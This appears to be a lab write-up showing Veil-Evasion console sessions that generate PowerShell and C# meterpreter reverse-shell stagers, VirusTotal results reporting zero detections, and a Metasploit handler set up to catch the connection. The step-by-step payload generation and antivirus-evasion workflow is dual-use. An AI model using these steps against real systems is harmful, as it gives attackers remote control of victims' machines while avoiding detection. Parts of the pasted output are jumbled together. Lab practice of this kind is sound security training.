

Payloads Using Veil Framework

Target: Metasploitable Machine

Installed the veil from github and created a meterpreter/reverse tcp payload name Surprise. Then on msfconsole exploited this payload for windows.

```
Available Tools:
1) Evasion
2) Ordinance

Available Commands:
exit          Completely exit Veil
info          Information on a specific tool
list          List available tools
options       Show Veil configuration
update        Update Veil
use           Use a specific tool

Veil>: use 1

=====
Veil-Evasion
=====
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

=====
Veil-Evasion Menu
Security Vendors' Analysis

41 payloads loaded

Available Commands:
back          Go to Veil's main menu
checkvt       Check VirusTotal.com against generated hashes
clean         Remove generated artifacts
exit          Completely exit Veil
info          Information on a specific payload
list          List available payloads
use           Use a specific payload

Veil/Evasion>: list

=====
Veil/Evasion>: use 22

=====
Veil-Evasion
=====
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

=====
Payload Information:
Name: Pure PowerShell Reverse TCP Stager
Language: powershell
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no shellcode

Payload: powershell/meterpreter/rev_tcp selected

Required Options:
=====
Name      Value      Description
=====
BADMACS   FALSE      Checks for known bad mac addresses
DOMAIN    X           Optional: Required internal domain
HOSTNAME  X           Optional: Required system hostname
LHOST     10.10.10.10 IP of the Metasploit handler
LPORT     4444        Port of the Metasploit handler
MINBROWSERS FALSE      Minimum of 2 browsers
MINPROCESSES X          Minimum number of processes running
MINRAM     FALSE      Require a minimum of 3 gigs of RAM
PROCESSORS X          Optional: Minimum number of processors
SLEEP     X           Optional: Sleep "Y" seconds, check if accelerated
USERNAME  X           Optional: The required user account
USERPROMPT FALSE      Window pops up prior to payload
UTCHECK   FALSE      Check that system isn't using UTC time zone
VIRTUALPROC FALSE      Check for known VM processes
```

```
[powershell/meterpreter/rev_tcp>>]: set LHOST 192.168.25.129
[powershell/meterpreter/rev_tcp>>]: generate
```

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

[>] Please enter the base name for output files (default is payload): Surprise

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

```
[*] Language: powershell
[*] Payload Module: powershell/meterpreter/rev_tcp
[*] PowerShell doesn't compile, so you just get text :)
[*] Source code written to: /var/lib/veil/output/source/Suprise.bat
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/Suprise.rc
```

Hit enter to continue ... by Vendors' Analysis

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

Veil-Evasion Menu Armitage Undetected

41 payloads loaded Undetected

Available Commands: Baidu Undetected

back BitDefenderTheta Go to Veil's main menu

checkv Check VirusTotal.com against generated hashes

clean ClamAV Remove generated artifacts

VirusTotal - File - 4a55fde33cf778421a357a655ce7f821b967cc7b3b5f39f2dc641913fd5b0e49

<https://www.virustotal.com/gui/file/4a55fde33cf778421a357a655ce7f821b967cc7b3b5f39f2dc641913fd5b0e49?nocache=1>

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

4a55fde33cf778421a357a655ce7f821b967cc7b3b5f39f2dc641913fd5b0e49

0 / 60

No security vendors and no sandboxes flagged this file as malicious

4a55fde33cf778421a357a655ce7f821b967cc7b3b5f39f2dc641913fd5b0e49
Suprise.rc
145 B Size 2022-09-24 21:19:55 UTC a moment ago TXT

DETECTION DETAILS COMMUNITY

Security Vendors' Analysis

Acronis (Static ML)	Undetected	Ad-Aware	Undetected
AhnLab-V3	Undetected	ALYac	Undetected
Antiy-AVL	Undetected	Arcabit	Undetected
Avast	Undetected	Avira (no cloud)	Undetected
Baidu	Undetected	BitDefender	Undetected
BitDefenderTheta	Undetected	Bkav Pro	Undetected
ClamAV	Undetected	CMC	Undetected

Veil/Evasion>: use 9

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

Payload Information:

Name: Pure C# Reverse HTTP Stager
Language: cs
Rating: Excellent
Description: pure windows/meterpreter/reverse_http stager, no shellcode

Payload: **cs/meterpreter/rev_http** selected

[cs/meterpreter/rev_http>]: set LHOST 192.168.25.129

[cs/meterpreter/rev_http>]: generate

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

[>] Please enter the base name for output files (default is payload): TopSecret

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

[*] Language: **cs**
[*] Payload Module: **cs/meterpreter/rev_http**
[*] Executable written to: **/var/lib/veil/output/compiled/TopSecret.exe**
[*] Source code written to: **/var/lib/veil/output/source/TopSecret.cs**
[*] Metasploit Resource file written to: **/var/lib/veil/output/handlers/TopSecret.rc**

Hit enter to continue ...

Veil-Evasion

[Web]: <https://www.veil-framework.com/> | [Twitter]: @VeilFramework

VirusTotal - File - 81494958052e00154c8bc0b58de5c7ec60985d1548e0a0f9d5815dd7dbb691db7nocache=1

81494958052e00154c8bc0b58de5c7ec60985d1548e0a0f9d5815dd7dbb691db

0 / 60

No security vendors and no sandboxes flagged this file as malicious

81494958052e00154c8bc0b58de5c7ec60985d1548e0a0f9d5815dd7dbb691db
TopSecret.rc
146 B Size
2022-09-24 22:12:11 UTC a moment ago
TXT

DETECTION DETAILS COMMUNITY

Security Vendors' Analysis

Acronis (Static ML)	Undetected	Ad-Aware	Undetected
AhnLab-V3	Undetected	ALYac	Undetected
Antiy-AVL	Undetected	Arcabit	Undetected
Avast	Undetected	Avira (no cloud)	Undetected
Baidu	Undetected	BitDefender	Undetected
BitDefenderTheta	Undetected	Bkav Pro	Undetected
ClamAV	Undetected	CMC	Undetected

```
msf6 exploit(multi/handler) > set payload android/shell/reverse_http
payload => android/shell/reverse_http
msf6 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (android/shell/reverse_http):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

LHOST		yes	The local listener hostname
LPORT	8080	yes	The local listener port
LURI		no	The HTTP Path

Exploit target:

Id	Name
0	Wildcard Target

```
msf6 exploit(multi/handler) > set LHOST 192.168.25.129
```

```
LHOST => 192.168.25.129
```

```
msf6 exploit(multi/handler) > exploit
```

```
[*] Started HTTP reverse handler on http://192.168.25.129:8080
```